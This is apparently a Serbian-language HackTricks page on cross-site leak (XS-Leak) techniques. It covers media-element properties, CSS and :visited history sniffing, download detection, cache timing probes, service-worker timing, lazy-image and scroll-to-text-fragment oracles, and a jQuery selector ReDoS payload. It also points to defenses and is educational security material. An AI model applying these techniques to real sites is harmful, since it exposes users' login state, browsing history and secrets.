HTMLElements

Curjenje informacija kroz HTML elemente je zabrinjavajuće u web bezbednosti, posebno kada se dinamički medijski fajlovi generišu na osnovu korisničkih informacija, ili kada se dodaju vodeni žigovi, menjajući veličinu medija. Ovo mogu iskoristiti napadači da razlikuju između mogućih stanja analizirajući informacije koje izlažu određeni HTML elementi.

Informacije Otkivene HTML Elementima

  • HTMLMediaElement: Ovaj element otkriva duration i buffered vreme medija, koja se mogu pristupiti putem njegovog API-ja. Pročitajte više o HTMLMediaElement
  • HTMLVideoElement: Otkazuje videoHeight i videoWidth. U nekim pretraživačima, dodatna svojstva kao što su webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, i webkitDecodedFrameCount su dostupna, nudeći dublje informacije o sadržaju medija. Pročitajte više o HTMLVideoElement
  • getVideoPlaybackQuality(): Ova funkcija pruža detalje o kvalitetu reprodukcije videa, uključujući totalVideoFrames, što može ukazivati na količinu video podataka koji su obrađeni. Pročitajte više o getVideoPlaybackQuality()
  • HTMLImageElement: Ovaj element otkriva height i width slike. Međutim, ako je slika nevažeća, ova svojstva će vratiti 0, a funkcija image.decode() će biti odbijena, što ukazuje na neuspeh učitavanja slike ispravno. Pročitajte više o HTMLImageElement

CSS Svojstvo

Web aplikacije mogu menjati stilizovanje web stranice u zavisnosti od statusa korisnika. CSS fajlovi sa različitih domena mogu biti uključeni na stranici napadača pomoću HTML link elementa, a pravila će biti primenjena na stranicu napadača. Ako stranica dinamički menja ova pravila, napadač može otkriti ove razlike u zavisnosti od stanja korisnika.
Kao tehnika curenja, napadač može koristiti metodu window.getComputedStyle da pročita CSS svojstva određenog HTML elementa. Kao rezultat, napadač može čitati proizvoljna CSS svojstva ako su poznati pogođeni element i naziv svojstva.

CSS Istorija

note

Prema ovome, ovo ne funkcioniše u headless Chrome-u.

CSS :visited selektor se koristi za stilizovanje URL-ova drugačije ako su prethodno posetili korisnik. U prošlosti, metoda getComputedStyle() mogla je biti korišćena za identifikaciju ovih stilskih razlika. Međutim, moderni pretraživači su implementirali bezbednosne mere kako bi sprečili ovu metodu da otkrije stanje linka. Ove mere uključuju uvek vraćanje izračunatog stila kao da je link posetjen i ograničavanje stilova koji se mogu primeniti sa :visited selektorom.

Uprkos ovim ograničenjima, moguće je indirektno razaznati posetjeno stanje linka. Jedna tehnika uključuje prevaru korisnika da interaguje sa područjem koje je pogođeno CSS-om, posebno koristeći svojstvo mix-blend-mode. Ovo svojstvo omogućava mešanje elemenata sa njihovom pozadinom, potencijalno otkrivajući posetjeno stanje na osnovu interakcije korisnika.

Štaviše, detekcija se može postići bez interakcije korisnika iskorišćavanjem vremena renderovanja linkova. Pošto pretraživači mogu različito renderovati posetjene i nepovratne linkove, to može uvesti merljivu vremensku razliku u renderovanju. Dokaz koncepta (PoC) je pomenut u izveštaju o grešci u Chromium-u, demonstrirajući ovu tehniku koristeći više linkova kako bi pojačali vremensku razliku, čime se posetjeno stanje može otkriti kroz analizu vremena.

Za više detalja o ovim svojstvima i metodama, posetite njihove stranice dokumentacije:

ContentDocument X-Frame Curjenje

U Chrome-u, ako je stranica sa X-Frame-Options zaglavljem postavljenim na "deny" ili "same-origin" umetnuta kao objekat, pojavljuje se stranica greške. Chrome jedinstveno vraća prazan dokument objekat (umesto null) za contentDocument svojstvo ovog objekta, za razliku od iframe-a ili drugih pretraživača. Napadači bi mogli iskoristiti ovo detektovanjem praznog dokumenta, potencijalno otkrivajući informacije o stanju korisnika, posebno ako programeri dosledno ne postavljaju X-Frame-Options zaglavlje, često zanemarujući stranice greške. Svest i dosledna primena bezbednosnih zaglavlja su ključni za sprečavanje ovakvih curenja.

Detekcija Preuzimanja

Content-Disposition zaglavlje, posebno Content-Disposition: attachment, naređuje pretraživaču da preuzme sadržaj umesto da ga prikaže unutar stranice. Ovo ponašanje se može iskoristiti za detekciju da li korisnik ima pristup stranici koja pokreće preuzimanje fajla. U Chromium-baziranim pretraživačima, postoji nekoliko tehnika za detekciju ovog ponašanja preuzimanja:

  1. Praćenje Trake za Preuzimanje:
  • Kada se fajl preuzme u Chromium-baziranim pretraživačima, traka za preuzimanje se pojavljuje na dnu prozora pretraživača.
  • Praćenjem promena u visini prozora, napadači mogu zaključiti da se traka za preuzimanje pojavila, što sugeriše da je preuzimanje pokrenuto.
  1. Navigacija Preuzimanja sa Iframe-ima:
  • Kada stranica pokrene preuzimanje fajla koristeći Content-Disposition: attachment zaglavlje, to ne izaziva događaj navigacije.
  • Učitavanjem sadržaja u iframe i praćenjem događaja navigacije, moguće je proveriti da li sadržaj dispozicije uzrokuje preuzimanje fajla (nema navigacije) ili ne.
  1. Navigacija Preuzimanja bez Iframe-a:
  • Slično tehnici iframe-a, ova metoda uključuje korišćenje window.open umesto iframe-a.
  • Praćenje događaja navigacije u novootvorenom prozoru može otkriti da li je preuzimanje fajla pokrenuto (nema navigacije) ili se sadržaj prikazuje unutar stranice (navigacija se dešava).

U scenarijima gde samo prijavljeni korisnici mogu pokrenuti takva preuzimanja, ove tehnike se mogu koristiti za indirektno zaključivanje o stanju autentifikacije korisnika na osnovu odgovora pretraživača na zahtev za preuzimanje.

Zaobilaženje Podeljenog HTTP Keša

warning

Ovo je razlog zašto je ova tehnika zanimljiva: Chrome sada ima particionisanje keša, a ključ keša nove otvorene stranice je: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), ali ako otvorim ngrok stranicu i koristim fetch u njoj, ključ keša će biti: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), ključ keša je različit, tako da se keš ne može deliti. Možete pronaći više detalja ovde: Sticanje bezbednosti i privatnosti deljenjem keša
(Komentar iz ovde)

Ako sajt example.com uključuje resurs sa *.example.com/resource, tada će taj resurs imati isti ključ keša kao da je resurs direktno zatražen kroz navigaciju na vrhunskom nivou. To je zato što se ključ keša sastoji od vrhunskog eTLD+1 i okvira eTLD+1.

Pošto je pristup kešu brži od učitavanja resursa, moguće je pokušati da promenite lokaciju stranice i otkažete je 20ms (na primer) nakon toga. Ako je poreklo promenjeno nakon zaustavljanja, to znači da je resurs keširan.
Ili možete jednostavno poslati neki fetch na potencijalno keširanu stranicu i izmeriti vreme koje je potrebno.

Ručno Preusmeravanje

Fetch sa AbortController

Koristite fetch i setTimeout sa AbortController da detektujete da li je resurs keširan i da izbacite određeni resurs iz keša pretraživača. Štaviše, proces se odvija bez keširanja novog sadržaja.

Zagađenje Skripti

Servisni Radnici

U datom scenariju, napadač preuzima inicijativu da registruje servisnog radnika unutar jednog od svojih domena, konkretno "attacker.com". Zatim, napadač otvara novi prozor na ciljanom veb sajtu iz glavnog dokumenta i naređuje servisnom radniku da započne tajmer. Dok se novi prozor počinje učitavati, napadač navigira referencom dobijenom u prethodnom koraku na stranicu kojom upravlja servisni radnik.

Po dolasku zahteva pokrenutog u prethodnom koraku, servisni radnik odgovara sa 204 (No Content) status kodom, efikasno prekidajući proces navigacije. U tom trenutku, servisni radnik beleži merenje sa tajmera pokrenutog ranije u drugom koraku. Ovo merenje je pod uticajem trajanja JavaScript-a koje uzrokuje kašnjenja u procesu navigacije.

warning

U merenju vremena izvršenja moguće je eliminisati mrežne faktore kako bi se dobila preciznija merenja. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.

Fetch Vreme

Vreme između Prozora

Sa HTML ili Re Injekcijom

Ovde možete pronaći tehnike za eksfiltraciju informacija iz cross-origin HTML ubacivanjem HTML sadržaja. Ove tehnike su zanimljive u slučajevima kada iz bilo kog razloga možete ubaciti HTML, ali ne možete ubaciti JS kod.

Opušteni Markup

Dangling Markup - HTML scriptless injection

Učitavanje Slika na Zahtev

Ako trebate eksfiltrirati sadržaj i možete dodati HTML pre tajne, trebali biste proveriti uobičajene tehnike opuštenog markup-a.
Međutim, ako iz bilo kog razloga MORATE to učiniti karakter po karakter (možda je komunikacija putem pogodka u kešu), možete koristiti ovu trik.

Slike u HTML-u imaju atribut "loading" čija vrednost može biti "lazy". U tom slučaju, slika će se učitati kada se pogleda, a ne dok se stranica učitava:

html
<img src=/something loading=lazy >

Zato, ono što možete učiniti je da dodate puno beskorisnih karaktera (Na primer hiljade "W") da popunite veb stranicu pre tajne ili dodate nešto poput <br><canvas height="1850px"></canvas><br>.
Tada, ako na primer naša injekcija pojavi pre zastavice, slika će biti učitana, ali ako se pojavi posle zastavice, zastavica + beskorisni podaci će sprečiti da se učita (biće potrebno da eksperimentišete sa količinom beskorisnih podataka koje treba dodati). Ovo se desilo u ovoj analizi.

Druga opcija bi bila da koristite scroll-to-text-fragment ako je dozvoljeno:

Scroll-to-text-fragment

Međutim, vi omogućavate botu da pristupi stranici sa nečim poput

#:~:text=SECR

Dakle, veb stranica će izgledati ovako: https://victim.com/post.html#:~:text=SECR

Gde post.html sadrži napadničke junk karaktere i sliku koja se učitava lenjo, a zatim se dodaje tajna bota.

Ovaj tekst će omogućiti botu da pristupi bilo kom tekstu na stranici koji sadrži tekst SECR. Pošto je taj tekst tajna i nalazi se ispod slike, slika će se učitati samo ako je pogodjena tajna. Tako imate svoj orakl za ekstrakciju tajne karakter po karakter.

Neki primer koda za iskorišćavanje ovoga: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Učitavanje slika na osnovu vremena

Ako nije moguće učitati eksternu sliku koja bi napadaču ukazala da je slika učitana, druga opcija bi bila da se pokuša pogoditi karakter nekoliko puta i meriti to. Ako se slika učita, svi zahtevi će trajati duže nego ako se slika ne učita. Ovo je korišćeno u rešenju ovog izveštaja sažeto ovde:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Ako se koristi jQuery(location.hash), moguće je saznati putem vremena da li neki HTML sadržaj postoji, to je zato što ako selektor main[id='site-main'] ne odgovara, ne mora da proverava ostatak selektora:

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Defenses

Postoje preporučene mere zaštite u https://xsinator.com/paper.pdf kao i u svakoj sekciji wiki https://xsleaks.dev/. Pogledajte tamo za više informacija o tome kako se zaštititi od ovih tehnika.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks